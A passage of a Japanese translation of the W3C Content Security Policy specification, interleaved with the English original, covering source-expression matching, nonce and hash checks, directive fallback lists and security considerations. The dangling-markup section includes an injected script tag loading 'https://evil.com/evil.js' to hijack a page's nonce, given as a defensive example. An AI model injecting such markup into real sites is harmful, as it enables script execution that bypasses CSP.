-
~IF[ %式 は `host-source$p 文法に合致する ]: ◎ If expression matches the host-source grammar:
- ~IF[ %~URL~host ~EQ ~NULL ] ⇒ ~RET `合致しない^i ◎ If url’s host is null, return "Does Not Match".
-
%~scheme成分 ~LET [ %式 は `scheme-part$p を含むならば それ / ~ELSE_ %生成元~scheme ]
注記: ~schemeを伴わない `host-source$p 式は、 ~schemeを伴うときと同様に, ~secureでない~schemeから~secureな~schemeへの昇格を許容する。
◎ ↑↓ - ~IF[ `~scheme成分は合致するか?$A( %~scheme成分, %~URL~scheme ) ~EQ `合致しない^i ] ⇒ ~RET `合致しない^i ◎ If expression does not have a scheme-part, and origin’s scheme does not scheme-part match url’s scheme, return "Does Not Match". ◎ Note: As with scheme-part above, we allow schemeless host-source expressions to be upgraded from insecure schemes to secure schemes.
- ~IF[ `~host成分は合致するか?$A( %式 の `host-part$p, %~URL~host ) ~EQ `合致しない^i ] ⇒ ~RET `合致しない^i ◎ If expression’s host-part does not host-part match url’s host, return "Does Not Match".
- ~IF[ %式 は `port-part$p を含む ]~AND[ `~port成分は合致するか?$A( %式 の `port-part$p, %~URL ) ~EQ `合致しない^i ] ⇒ ~RET `合致しない^i ◎ Let port-part be expression’s port-part if present, and null otherwise. ◎ If port-part does not port-part match url, return "Does Not Match".
-
~IF[ %式 は[ 空でない `path-part$p ]を含む ]~AND[ %~redirect回数 ~EQ 0 ]: ◎ If expression contains a non-empty path-part, and redirect count is 0, then:
- %~URL~path ~LET %~URL の`~path$url ◎ ↓
- ~IF[ %~URL~path は`~list$である ] ⇒ %~URL~path ~SET %~URL~path を`~slash$で`連結する$ ◎ Let path be the resulting of joining url’s path on the U+002F SOLIDUS character (/).
- ~IF[ `~path成分は合致するか?$A( %式 の `path-part$p, %~URL~path ) ~EQ `合致しない^i ] ⇒ ~RET `合致しない^i ◎ If expression’s path-part does not path-part match path, return "Does Not Match".
- ~RET `合致する^i ◎ Return "Matches".
-
~IF[ %式 ~EQ`大小無視$sub "`self$pl" ]: ◎ If expression is an ASCII case-insensitive match for "'self'", return "Matches" if one or more of the following conditions is met:
- ~IF[ %生成元 と[ %~URL の`生成元$url ]は同じ【`同一-生成元$?】である ] ⇒ ~RET `合致する^i ◎ origin is the same as url’s origin
-
~IF[ %生成元~host ~EQ %~URL~host ]:
- ~IF[ %生成元~port ~EQ ~NULL ] ⇒ %生成元~port ~SET %生成元~scheme 用の`既定~port$
- ~IF[ %~URL~port ~EQ ~NULL ] ⇒ %~URL~port ~SET %~URL~scheme 用の`既定~port$
-
~IF[ %生成元~port ~EQ %~URL~port ]~AND[ ~OR↓ ]…
- %~URL~scheme ~IN { `https^l, `wss^l }
- [ %~URL~scheme ~IN { `http^l, `ws^l } ]~AND[ %生成元~scheme ~EQ `http^l ]
…ならば ⇒ ~RET `合致する^i:
注記: 上の `scheme-part$p の~logicと同様に、 "`self$pl" 照合~algoは、 そうするのが安全なときには, ~secureな~schemeへの昇格を許容する。 これらの昇格は、[ 特定0の~scheme用の既定~port / 保護される資源の生成元に合致する~port ]上で稼働中の報告先に,制限される — 昇格の成功-が適理に期待されるものに~~対処するには、 これで十分と見受けられるので。 ◎ Note: Like the scheme-part logic above, the "'self'" matching algorithm allows upgrades to secure schemes when it is safe to do so. We limit these upgrades to endpoints running on the default port for a particular scheme or a port that matches the origin of the protected resource, as this seems sufficient to deal with upgrades that can be reasonably expected to succeed.
- ~RET `合致しない^i ◎ Return "Does Not Match".
6.7.2.9. `scheme-part^p の照合-法
`~scheme成分は合致するか?@A ( %A, %B ) (いずれも`~ASCII文字列$)は、 ~CSP~source式の `scheme-part$p %A が ~URLの`~scheme$url %B に合致するかどうかを検査する: ◎ An ASCII string scheme-part matches another ASCII string if a CSP source expression that contained the first as a scheme-part could potentially match a URL containing the latter as a scheme. For example, we say that "http" scheme-part matches "https".
注記: この関係は非対称であり、 %A, %B を入れ替えた結果は同じになるとは限らない。 例えば、 ~source式[ `https:^s, `https://example.com/^s ]はいずれも,~URL `http://example.com/^s に合致しない。
また,明示的に~secureでないな式からの~secureへの昇格は、 常に許容される。 例えば,次の表tの 1 列目に挙げる式は、 同じ行の 2 列目に挙げる式と等価に扱われる:
`script-src http:^s | `script-src http: https:^s |
`script-src http://example.com^s | `script-src http://example.com https://example.com^s |
`connect-src ws:^s | `connect-src ws: wss:^s |
- %A ~SET `~ASCII小文字~化する$( %A )
- %B ~SET `~ASCII小文字~化する$( %B )
-
~RET[ ~OR↓ が満たされるならば `合致する^i / ~ELSE_ `合致しない^i ]:
- %A ~EQ %B
- [ %A ~EQ `http^l ]~AND[ %B ~EQ `https^l ]
- [ %A ~EQ `ws^l ]~AND[ %B ~IN { `wss^l, `http^l, `https^l } ]
- [ %A ~EQ `wss^l ]~AND[ %B ~EQ `https^l ]
6.7.2.10. `host-part^p の照合-法
`~host成分は合致するか?@A ( `~ASCII文字列$ %~pattern, `~host$ %~host ) は、 ~CSP~source式の `host-part$p %~pattern が %~host に合致するかどうかを検査する: ◎ An ASCII string host-part matches a host if a CSP source expression that contained the first as a host-part could potentially match the latter. For example, we say that "www.example.com" host-part matches "www.example.com". ◎ More formally, ASCII string pattern and host host are said to host-part match if the following algorithm returns "Matches":
注記: この関係は非対称であり、 【 %~host が~ASCII文字列であっても,】 %~pattern, %~host を入れ替えた結果は同じになるとは限らない。 例えば、 ( %~pattern, %~host ) に対する ( `*.example.com^s, `www.example.com^s ) の結果は `合致する^i になるが, ( `www.example.com^s, `*.example.com^s ) の結果は `合致しない^i になる。 ◎ Note: The matching relation is asymmetric. That is, pattern matching host does not mean that host will match pattern. For example, *.example.com host-part matches www.example.com, but www.example.com does not host-part match *.example.com.
注記: この仕様の将来~versionは、 利用度や需要に依存して,~literalによる[ ~IPv6 / ~IPv4 ]~addressを許容するかもしれない。 しかしながら、 ~IP~addressの~security上の特質は,名前を有する~hostに比して弱いので、 作者には,アリな所では~hostを選好することが奨励される。 ◎ Note: A future version of this specification may allow literal IPv6 and IPv4 addresses, depending on usage and demand. Given the weak security properties of IP addresses in relation to named hosts, however, authors are encouraged to prefer the latter whenever possible.
- ~IF[ %~host は`~domain$でない ] ⇒ ~RET `合致しない^i ◎ If host is not a domain, return "Does Not Match".
- ~IF[ %~pattern ~EQ `*^l ] ⇒ ~RET `合致する^i ◎ If pattern is "*", return "Matches".
- %~pattern ~SET `~ASCII小文字~化する$( %~pattern ) ◎ ↓
- %~host ~SET `~ASCII小文字~化する$( %~host ) ◎ ↓
- ~IF[ %~pattern は `*.^l `から開始して$いる ] ⇒ ~RET [ 次が満たされるならば `合致する^i / ~ELSE_ `合致しない^i ] ⇒ %~host は[ %~pattern の 1 から`終端までを成す符号単位~部分文字列$ ]`で終端して$いる ◎ If pattern starts with "*.": • Let remaining be pattern with the leading U+002A (*) removed and ASCII lowercased. • If host to ASCII lowercase ends with remaining, then return "Matches". • Return "Does Not Match".
- ~RET [ 次が満たされるならば `合致する^i / ~ELSE_ `合致しない^i ] ⇒ %~pattern ~EQ %~host ◎ If pattern is not an ASCII case-insensitive match for host, return "Does Not Match". ◎ Return "Matches".
6.7.2.11. `port-part^p の照合-法
`~port成分は合致するか?@A ( `~ASCII文字列$ %入力, `~URL$ %~URL ) は、 %入力 として与えられた[ ~CSP~source式の `port-part$p ]が %~URL の[ `~port$url, `~scheme$url ]に合致するかどうかを検査する: ◎ An ASCII string input port-part matches URL url if a CSP source expression that contained the first as a port-part could potentially match a URL containing the latter’s port and scheme. For example, "80" port-part matches matches http://example.com.
- ~Assert: %入力 は次に挙げるいずれかである ⇒# 空~文字列/ `~asterisk$/ `~ASCII数字$たちが成す連列 ◎ Assert: input is the empty string, "*", or a sequence of ASCII digits.
- ~IF[ %入力 ~EQ `~asterisk$ ] ⇒ ~RET `合致する^i ◎ If input is equal to "*", return "Matches".
- %正規化-済み入力 ~LET %入力 に応じて ⇒# 空~文字列ならば ~NULL / ~ELSE_ %入力 を 10 進数として解釈した結果 ◎ Let normalizedInput be null if input is the empty string; otherwise input interpreted as decimal number.
- ~IF[ %正規化-済み入力 ~EQ %~URL の`~port$url ] ⇒ ~RET `合致する^i ◎ If normalizedInput equals url’s port, return "Matches".
-
~IF[ %~URL の`~port$url ~EQ ~NULL ]~AND[ %正規化-済み入力 ~EQ %~URL の`~scheme$url用の`既定~port$ ] ⇒ ~RET `合致する^i ◎ If url’s port is null: • Let defaultPort be the default port for url’s scheme. • If normalizedInput equals defaultPort, return "Matches".
- ~RET `合致しない^i ◎ Return "Does Not Match".
6.7.2.12. `path-part^p の照合-法
`~path成分は合致するか?@A ( %A, %B ) (いずれも`~ASCII文字列$)は、 ~CSP~source式の `path-part$p %A が ~URLの`~path$url %B に合致するかどうかを検査する: ◎ An ASCII string path A path-part matches another ASCII string path B if a CSP source expression that contained the first as a path-part could potentially match a URL containing the latter as a path. For example, we say that "/subdirectory/" path-part matches "/subdirectory/file".
注記: この関係は非対称であり、 %A, %B を入れ替えた結果は同じになるとは限らない。 ◎ Note: The matching relation is asymmetric. That is, path A matching path B does not mean that path B will match path A.
- ~IF[ %A ~EQ 空~文字列 ] ⇒ ~RET `合致する^i ◎ If path A is the empty string, return "Matches".
- ~IF[ %A ~EQ `~slash$ ]~AND[ %B ~EQ 空~文字列 ] ⇒ ~RET `合致する^i ◎ If path A consists of one character that is equal to the U+002F SOLIDUS character (/) and path B is the empty string, return "Matches".
- ( %listA, %listB ) ~LET ( `区切子で厳密に分割する$( %A, `~slash$ ), `区切子で厳密に分割する$( %B, `~slash$ ) ) ◎ Let exact match be false if the final character of path A is the U+002F SOLIDUS character (/), and true otherwise. ◎ Let path list A and path list B be the result of strictly splitting path A and path B respectively on the U+002F SOLIDUS character (/).
- ( %LA, %LB ) ~LET ( %listA の`~size$, %listB の`~size$ ) ◎ ↓
- ~IF[ %LA ~GT %LB ] ⇒ ~RET `合致しない^i ◎ If path list A has more items than path list B, return "Does Not Match".
- ~IF[ %listA[ %LA − 1 ] ~EQ 空~文字列 ] ⇒ %LA ~DECBY 1 ◎ ↓
- ~ELIF[ %LA ~NEQ %LB ] ⇒ ~RET `合致しない^i ◎ If exact match is true, and path list A does not have the same number of items as path list B, return "Does Not Match". ◎ If exact match is false: • Assert: the final item in path list A is the empty string. • Remove the final item from path list A.
- ~EACH( 整数 %i ~IN { 0 〜 %LA − 1 } ) に対し ⇒ ~IF[ `文字列を~byte列に~percent-復号する$( %listA[ %i ] ) ~NEQ `文字列を~byte列に~percent-復号する$( %listB[ %i ] ) ] ⇒ ~RET `合致しない^i ◎ For each piece A of path list A: • Let piece B be the next item in path list B. • Let decoded piece A be the percent-decoding of piece A. • Let decoded piece B be the percent-decoding of piece B. • If decoded piece A is not decoded piece B, return "Does Not Match".
- ~RET `合致する^i ◎ Return "Matches".
6.7.3. 要素に対する照合~algo
6.7.3.1. 要素は~nonce可能か?
この~algoは、 所与の ( `要素$ %要素 ) に対し, `nonce-source$p 式を[ 適用できるならば( `§ ~nonceの乗取り@#security-nonce-hijacking$ を見よ) `~nonce可能^i / 適用すべきでないならば `~nonce可能でない^i ]を返す: ◎ Given an Element element, this algorithm returns "Nonceable" if a nonce-source expression can match the element (as discussed in § 7.2 Nonce Hijacking), and "Not Nonceable" if such expressions should not be applied.
- ~IF[ %要素 は 名前 `nonce^l の属性を有さない ] ⇒ ~RET `~nonce可能でない^i ◎ If element does not have an attribute named "nonce", return "Not Nonceable".
-
~IF[ %要素 は `script$e 要素である ] ⇒ %要素 の`属性~list$を成す ~EACH( %属性 ) に対し: ◎ If element is a script element, then for each attribute of element’s attribute list:
- ~IF[ %属性 の名前は `~ASCII大小無視$で[ `<script^l, `<style^l ]いずれかに合致する文字列を包含している ] ⇒ ~RET `~nonce可能でない^i ◎ If attribute’s name contains an ASCII case-insensitive match for "<script" or "<style", return "Not Nonceable".
- ~IF[ %属性 の値は `~ASCII大小無視$で[ `<script^l, `<style^l ]いずれかに合致する文字列を包含している ] ⇒ ~RET `~nonce可能でない^i ◎ If attribute’s value contains an ASCII case-insensitive match for "<script" or "<style", return "Not Nonceable".
-
~IF[ %要素 を~token化したときに, `構文解析-~error@~HTMLparsing#parse-errors$【!~HEimages#concept-microsyntax-parse-error】( `duplicate-attribute@~HTMLparsing#parse-error-duplicate-attribute$i 【重複な属性】 ) が生じた ] ⇒ ~RET `~nonce可能でない^i ◎ If element had a duplicate-attribute parse error during tokenization, return "Not Nonceable".
何らかの類の[ この~errorを記録するための~hook ]が~HTMLにおいて必要である — それをここで利用するよう計画しているならば。 [`whatwg/html 課題 #3257@~HTMLissue/3257$] ◎ We need some sort of hook in HTML to record this error if we’re planning on using it here. [Issue #whatwg/html#3257]
- ~RET `~nonce可能^i ◎ Return "Nonceable".
この処理には、 ~dangling-markup攻撃 — ~scriptを読込ませるために,既存の要素から~nonceを盗用して どこかへ注入する攻撃 — の~riskを軽減することが意味されている。 しかしながら、[ ~scriptを実行すべきかどうか決定するときに,すべての属性, それらの値を走査することになる ]ので,高価でもある。 ここでは、 この検査を[ 要素が~nonceを有していて `script$e 要素であるとき ]に限り走査することにより,その影響iをできるだけ抑えようとしているが、 その影響iを知るまでは,この~algoは “~risk下にある” ものと見なすべきであろう。 [`98$issue] ◎ This processing is meant to mitigate the risk of dangling markup attacks that steal the nonce from an existing element in order to load injected script. It is fairly expensive, however, as it requires that we walk through all attributes and their values in order to determine whether the script should execute. Here, we try to minimize the impact by doing this check only for script elements when a nonce is present, but we should probably consider this algorithm as "at risk" until we know its impact. [Issue #w3c/webappsec-csp#98]
6.7.3.2. %~source~list は ある型~用の~inlineな挙動をすべて許容するか?
`~source~list$は、 次を満たすならば,所与の ( %型 ) 用の `~inlineな挙動をすべて許容する@ とされる ⇒ `keyword-source$p 式 `unsafe-inline^pl を包含する, かつ — 次の~algoにて述べられるとおり — その式を上書きしない ◎ A source list allows all inline behavior of a given type if it contains the keyword-source expression 'unsafe-inline', and does not override that expression as described in the following algorithm:
次の~algoは、 所与の ( `~source~list$ %~list, 文字列 %型 ) に対し,[ %型 の~inlineな内容すべてが許容されるならば `許容する^i / ~ELSE_ `許容しない^i ]を返す: ◎ Given a source list list and a string type, the following algorithm returns "Allows" if all inline content of a given type is allowed and "Does Not Allow" otherwise.
- %~inlineをすべて許容するか ~LET ~F ◎ Let allow all inline be false.
-
%~list を成す ~EACH( %式 ) に対し: ◎ For each expression of list:
- ~IF[ %式 は[ `nonce-source$p / `hash-source$p ]文法に合致する ] ⇒ ~RET `許容しない^i ◎ If expression matches the nonce-source or hash-source grammar, return "Does Not Allow".
-
~IF[ %型 ~IN { `script^l, `script attribute^l, `navigation^l } ]~AND[ %式 ~EQ `strict-dynamic$pl ] ⇒ ~RET `許容しない^i ◎ If type is "script", "script attribute" or "navigation" and expression matches the keyword-source "'strict-dynamic'", return "Does Not Allow".
注記: `strict-dynamic$pl が適用される資源~型は~scriptに限られる。 詳細は、 ~strict-dynamic-usageに。 ◎ Note: 'strict-dynamic' only applies to scripts, not other resource types. Usage is explained in more detail in § 8.2 Usage of "'strict-dynamic'".
- ~IF[ %式 ~EQ`大小無視$sub `unsafe-inline$pl ] ⇒ %~inlineをすべて許容するか ~SET ~T ◎ If expression is an ASCII case-insensitive match for the keyword-source "'unsafe-inline'", set allow all inline to true.
- ~RET [ %~inlineをすべて許容するか ~EQ ~T ならば `許容する^i / ~ELSE_ `許容しない^i ] ◎ If allow all inline is true, return "Allows". Otherwise, return "Does Not Allow".
次の`~source~list$は、 `~inlineな挙動をすべて許容する$ ◎ Source lists that allow all inline behavior:
'unsafe-inline' http://a.com http://b.com 'unsafe-inline'
次の`~source~list$は、 ~nonce/~hashが在ること, または `unsafe-inline^pl が無いことに因り `~inlineな挙動をすべて許容する$ことはない: ◎ Source lists that do not allow all inline behavior due to the presence of nonces and/or hashes, or absence of 'unsafe-inline':
'sha512-321cba' 'nonce-abc' http://example.com 'unsafe-inline' 'nonce-abc'
次の`~source~list$は、 %型 ~IN { `script^pl, `script attribute^pl } のときは, `strict-dynamic^pl が在ることに因り `~inlineな挙動をすべて許容する$ことはないが、 他の場合は`~inlineな挙動をすべて許容する$: ◎ Source lists that do not allow all inline behavior when type is 'script' or 'script attribute' due to the presence of 'strict-dynamic', but allow all inline behavior otherwise:
'unsafe-inline' 'strict-dynamic' http://example.com 'strict-dynamic' 'unsafe-inline'
6.7.3.3. 要素は ( 型, ~source ) について~source~listに合致するか?
次の~algoは、 所与の ( `要素$ %要素, `~source~list$ %~list, 文字列 %型, 文字列 %~source ) に対し,[ `合致する^i または `合致しない^i ]を返す: ◎ Given an Element element, a source list list, a string type, and a string source, this algorithm returns "Matches" or "Does Not Match".
注記: 文書の符号化法に関わらず、 %~source は,~hash用~algoを適用する前に~UTF-8に変換されることになる。 ◎ Note: Regardless of the encoding of the document, source will be converted to UTF-8 before applying any hashing algorithms.
- ~IF[ `~source~listは型~用の~inlineな挙動をすべて許容するか?$A( %~list, %型 ) の結果 ~EQ `許容する^i ] ⇒ ~RET `合致する^i ◎ If § 6.7.3.2 Does a source list allow all inline behavior for type? returns "Allows" given list and type, return "Matches".
-
~IF[ %型 ~IN { `script^l, `style^l } ]~AND[ `要素は~nonce可能か?$A( %要素 ) ~EQ `~nonce可能^i ]: ◎ If type is "script" or "style", and § 6.7.3.1 Is element nonceable? returns "Nonceable" when executed upon element:
-
%~list を成す ~EACH( %式 ) に対し: ◎ For each expression of list:
- ~IF[ %式 は `nonce-source$p 文法に合致する ]~AND[ %要素 は `nonce$a 属性を有していて[ その値 ~EQ %式 の `base64-value$p 成分 ]] ⇒ ~RET `合致する^i ◎ If expression matches the nonce-source grammar, and element has a nonce attribute whose value is expression’s base64-value part, return "Matches".
注記: ~nonceが適用されるのは、 ~inlineな[ `script$e / `style$e ]要素であり,これらの要素の属性でも `javascript_^sc ~naviでもない。 ◎ Note: Nonces only apply to inline script and inline style, not to attributes of either element or to javascript: navigations.
-
- %安全でない~hashか ~LET ~F ◎ Let unsafe-hashes flag be false.
-
%~list を成す ~EACH( %式 ) に対し: ◎ For each expression of list:
- ~IF[ %式 ~EQ`大小無視$sub `unsafe-hashes$pl ] ⇒# %安全でない~hashか ~SET ~T; ~BREAK ◎ If expression is an ASCII case-insensitive match for the keyword-source "'unsafe-hashes'", set unsafe-hashes flag to true. Break out of the loop.
-
~IF[ %型 ~IN { `script^l, `style^l } ]~OR[ %安全でない~hashか ~EQ ~T ]: ◎ If type is "script" or "style", or unsafe-hashes flag is true:
- %~source ~SET `~UTF-8符号化する$( `~scalar値~文字列に変換する$( %~source ) ) ◎ Set source to the result of executing UTF-8 encode on the result of executing JavaScript string converting on source.
-
%~list を成す ~EACH( %式 ) に対し: ◎ For each expression of list:
- ~IF[ %式 は `hash-source$p 文法に合致しない ] ⇒ ~CONTINUE ◎ If expression matches the hash-source grammar:
- %~algo ~LET [ `~ASCII小文字~化する$( %式 の`hash-algorithm$p 成分 ) の結果 ]に応じて,次で与えられる~algo ⇒ `sha256^l ならば SHA-256 / `sha384^l ならば SHA-384 / `sha512^l ならば SHA-512 / ~ELSE_ ~NULL ◎ Let algorithm be null. ◎ If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha256", set algorithm to SHA-256. ◎ If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha384", set algorithm to SHA-384. ◎ If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha512", set algorithm to SHA-512.
- ~IF[ %~algo ~EQ ~NULL ] ⇒ ~CONTINUE ◎ If algorithm is not null:
-
~IF[ 次の 2 つは一致する ]…
- %~source に %~algo を適用した結果を `base64$p に符号化した結果(実際の値)
- %式 の `base64-value$p 成分を,その中の各~文字[ `-^l / `_^l ]を[ `+^l / `/^l ]に置換した結果(期待される値)
…ならば ⇒ ~RET `合致する^i
注記: この置換は、 `base64url$p に符号化された~hashを正規化して, `base64$p 符号化-法の下で照合できるようにする。
◎ Let actual be the result of base64 encoding the result of applying algorithm to source. ◎ Let expected be expression’s base64-value part, with all '-' characters replaced with '+', and all '_' characters replaced with '/'. ◎ Note: This replacement normalizes hashes expressed in base64url encoding into base64 encoding for matching. ◎ If actual is identical to expected, return "Matches".
注記: ~hashは、 ~inlineな[ `script$e / `style$e ]に適用される。 ~source式 `unsafe-hashes$pl が在る場合、 それも[ ~event~handler / ~style属性 / `javascript_^sc ~navi ]に適用される。 ◎ Note: Hashes apply to inline script and inline style. If the "'unsafe-hashes'" source expression is present, they will also apply to event handlers, style attributes and javascript: navigations.
これは、 動的に挿入された~inline~script用に `strict-dynamic$pl を取扱うべきである。 [`426$issue] ◎ This should handle 'strict-dynamic' for dynamically inserted inline scripts. [Issue #w3c/webappsec-csp#426]
- ~RET `合致しない^i ◎ Return "Does Not Match".
6.8. 指令~algo
6.8.1. 要請~用に有効果な指令を取得する
各種 `~fetch指令$は、 特定の行先の`要請$を制御する。 次の~algoは、 所与の ( `要請$ %要請 ) に対し,[ ~NULL, または `有効果な指令@ の`名前$ ]を返す: ◎ Each fetch directive controls a specific destination of request. Given a request request, the following algorithm returns either null or the name of the request’s effective directive:
- ~IF[ %要請 の`起動元$rq ~IN { `prefetch^l, `prerender^l } ] ⇒ ~RET `default-src$dir ◎ If request’s initiator is "prefetch" or "prerender", return default-src.
-
%要請 の`行先$rqに応じて: ◎ Switch on request’s destination, and execute the associated steps:
- 空~文字列
- ~RET `connect-src$dir ◎ Return connect-src.
- `manifest^l
- ~RET `manifest-src$dir ◎ Return manifest-src.
- `object^l
- `embed^l
- ~RET `object-src$dir ◎ Return object-src.
- `frame^l
- `iframe^l
- ~RET `frame-src$dir ◎ Return frame-src.
- `audio^l
- `track^l
- `video^l
- ~RET `media-src$dir ◎ Return media-src.
- `font^l
- ~RET `font-src$dir ◎ Return font-src.
- `image^l
- ~RET `img-src$dir ◎ Return img-src.
- `style^l
- ~RET `style-src-elem$dir ◎ Return style-src-elem.
- `script^l
- `xslt^l
- `audioworklet^l
- `paintworklet^l
- ~RET `script-src-elem$dir ◎ Return script-src-elem.
- `serviceworker^l
- `sharedworker^l
- `worker^l
- ~RET `worker-src$dir ◎ Return worker-src.
- `json^l
- `webidentity^l
- ~RET `connect-src$dir ◎ Return connect-src.
- `report^l
- ~RET ~NULL ◎ Return null.
- ~RET `connect-src$dir ◎ Return connect-src.
注記: この~algoは、 既定の~fallbackとして `connect-src$dir を返す。 これは、[ ~fetch用に追加される新たな`行先$rqのうち,他のどの分類にも明示的に該当しないもの ]用に意図される。 ◎ Note: The algorithm returns connect-src as a default fallback. This is intended for new fetch destinations that are added and which don’t explicitly fall into one of the other categories.
6.8.2. ~inline検査~用に有効果な指令を取得する
次の~algoは、 所与の ( 文字列 %型 ) に対し,有効果な指令の`名前$を返す: ◎ Given a string type, this algorithm returns the name of the effective directive.
注記: `有効果な指令$は,`要請$用に限り定義されているが、 この~algoにおいては,[ 特定0の型の~inline検査に最も関連な指令 ]を意味するように同様に利用される。 ◎ Note: While the effective directive is only defined for requests, in this algorithm it is used similarly to mean the directive that is most relevant to a particular type of inline check.
-
%型 に応じて: ◎ Switch on type:
- `script^l
- `navigation^l
- ~RET `script-src-elem$dir ◎ Return script-src-elem.
- `script attribute^l
- ~RET `script-src-attr$dir ◎ Return script-src-attr.
- `style^l
- ~RET `style-src-elem$dir ◎ Return style-src-elem.
- `style attribute^l
- ~RET `style-src-attr$dir ◎ Return style-src-attr.
- ~RET ~NULL ◎ Return null.
6.8.3. ~fetch指令~fallback~listを取得する
特定の`指令$用の~fallback`指令$たちからなる`有順序~集合$を返す。 結果は、 最も関連なものから順に~sortされ,有効果な指令~自身も含む。 ◎ Will return an ordered set of the fallback directives for a specific directive. The returned ordered set is sorted from most relevant to least relevant and it includes the effective directive itself.
所与の ( 文字列 %指令~名 ) に対し: ◎ Given a string directive name:
-
~RET %指令~名 に応じて,次の表tの 2 列目に与える集合: ◎ Switch on directive name:
%指令~名 結果 "`script-src-elem$dir" « `script-src-elem^l, `script-src^l, `default-src^l » ◎ Return << "script-src-elem", "script-src", "default-src" >>. "`script-src-attr$dir" « `script-src-attr^l, `script-src^l, `default-src^l » ◎ Return << "script-src-attr", "script-src", "default-src" >>. "`style-src-elem$dir" « `style-src-elem^l, `style-src^l, `default-src^l » ◎ Return << "style-src-elem", "style-src", "default-src" >>. "`style-src-attr$dir" « `style-src-attr^l, `style-src^l, `default-src^l » ◎ Return << "style-src-attr", "style-src", "default-src" >>. "`worker-src$dir" « `worker-src^l, `child-src^l, `script-src^l, `default-src^l » ◎ Return << "worker-src", "child-src", "script-src", "default-src" >>. "`connect-src$dir" « `connect-src^l, `default-src^l » ◎ Return << "connect-src", "default-src" >>. "`manifest-src$dir" « `manifest-src^l, `default-src^l » ◎ Return << "manifest-src", "default-src" >>. "`object-src$dir" « `object-src^l, `default-src^l » ◎ Return << "object-src", "default-src" >>. "`frame-src$dir" « `frame-src^l, `child-src^l, `default-src^l » ◎ Return << "frame-src", "child-src", "default-src" >>. "`media-src$dir" « `media-src^l, `default-src^l » ◎ Return << "media-src", "default-src" >>. "`font-src$dir" « `font-src^l, `default-src^l » ◎ Return << "font-src", "default-src" >>. "`img-src$dir" « `img-src^l, `default-src^l » ◎ Return << "img-src", "default-src" >>. その他 空~集合 ◎ Return << >>.
6.8.4. ~fetch指令を実行するべきか?
この~algoは、 `~fetch指令$に対し,[ 指令を実行するべきか, より適した他の指令に先送りするか ]を裁定するために利用される。 例えば,[ %有効果な指令の名前 ~EQ `worker-src$dir ]の場合(現在,~worker要請【 `行先$rq ~EQ `worker^l 】を検査していることを意味する)、[ `worker-src$dir / `script-src$dir ]指令が存在する場合には, `default-src$dir 指令は実行するべきでない。 ◎ This algorithm is used for fetch directives to decide whether a directive should execute or defer to a different directive that is better suited. For example: if the effective directive name is worker-src (meaning that we are currently checking a worker request), a default-src directive should not execute if a worker-src or script-src directive exists.
所与の ( 文字列 %有効果な指令の名前, 文字列 %指令~名, `施策$ %施策 ) に対し: ◎ Given a string effective directive name, a string directive name and a policy policy:
- %指令~fallback~list ~LET `~fetch指令~fallback~listを取得する$A( %有効果な指令の名前 ) ◎ Let directive fallback list be the result of executing § 6.8.3 Get fetch directive fallback list on effective directive name.
-
%指令~fallback~list を成す ~EACH( %~fallback指令 ) に対し: ◎ For each fallback directive of directive fallback list:
- ~IF[ %指令~名 ~EQ %~fallback指令 ] ⇒ ~RET `~Yes^i ◎ If directive name is fallback directive, Return "Yes".
- ~IF[ %施策 は[ `名前$ ~EQ %~fallback指令 ]を満たす指令を包含する ] ⇒ ~RET `~No^i ◎ If policy contains a directive whose name is fallback directive, Return "No".
- ~RET `~No^i ◎ Return "No".
7. ~security/~privacyの考慮点
7.1. ~nonceの再利用
~nonceは、[ それを送達した指令~内に在る他の制約 ]を上書きする。 ゆえに、 推測-不能であり続けることが不可欠になる — さもなければ、 資源の施策を迂回することは,自明になるので。 ◎ Nonces override the other restrictions present in the directive in which they’re delivered. It is critical, then, that they remain unguessable, as bypassing a resource’s policy is otherwise trivial.
`施策$の一部として `nonce-source$p 式を送達する~serverは、 施策の各~伝送-ごとに一意な値を生成しなければナラナイ。 生成される値は、 攻撃者による予測-が困難になるベキであり,[ (符号化する前の時点で) 128 ~bit以上 ], かつ[ 暗号的に~secureな乱数~生成器を介して生成される ]ベキである。 ◎ If a server delivers a nonce-source expression as part of a policy, the server MUST generate a unique value each time it transmits a policy. The generated value SHOULD be at least 128 bits long (before encoding), and SHOULD be generated via a cryptographically secure random number generator in order to ensure that the value is difficult for an attacker to predict.
注記: 【 `script-src$dir/`style-src$dir 指令において】 ~nonceを利用して~inlineな[ ~script/~style ]を許容するのは、 ~nonceを利用しないでそうするときより~secureでない — ~nonceは、 それが在る指令~内の制約を上書きするので。 ~nonceへの~accessを得られる攻撃者は、 ~~任意の~scriptを~~任意に実行できる。 とは言え、 古い~code上に~CSP層を重ねるとき, ~nonceの~~利用は `unsafe-inline$pl を大きく改善する。 作者には、 `unsafe-inline$pl を考慮するときは,代わりに~nonce(または~hash)を考慮することが奨励される。 ◎ Note: Using a nonce to allow inline script or style is less secure than not using a nonce, as nonces override the restrictions in the directive in which they are present. An attacker who can gain access to the nonce can execute whatever script they like, whenever they like. That said, nonces provide a substantial improvement over 'unsafe-inline' when layering a content security policy on top of old code. When considering 'unsafe-inline', authors are encouraged to consider nonces (or hashes) instead.
7.2. ~nonceの乗取り
7.2.1. ~dangling-markup攻撃
`FILEDESCRIPTOR-2015$r などで論じられている ~dangling-markup攻撃( `dangling markup attack^en )は、 ~pageの正当な~nonceを注入-用に転用するためにも利用され得る。 例えば、 所与の `script$e 要素の前に注入~地点があるとする: ◎ Dangling markup attacks such as those discussed in [FILEDESCRIPTOR-2015] can be used to repurpose a page’s legitimate nonces for injections. For example, given an injection point before a script element:
<p>Hello, %注入~地点</p> <script nonce=abc src=/good.js></script>
攻撃者が文字列 `<script src='https://evil.com/evil.js' ^l を注入した場合、 ~browserは次を受信することになる: ◎ If an attacker injects the string "<script src='https://evil.com/evil.js' ", then the browser will receive the following:
<p>Hello, <script src='https://evil.com/evil.js' </p> <script nonce=abc src=/good.js></script>
その~codeを構文解析した結果の `script$e 要素には、 次に挙げる名前の属性: `src^l , `</p>^l , `<script^l , `nonce^l, もう一つの `src^l が伴われることになる。 最初の `src^a 属性 — 悪意的な~sourceを指している — のおかげで、 元からあった 2 個目の `src^a 属性は,構文解析器により重複として破棄される。 ◎ It will then parse that code, ending up with a script element with a src attribute pointing to a malicious payload, an attribute named </p>, an attribute named "<script", a nonce attribute, and a second src attribute which is helpfully discarded as duplicate by the parser.
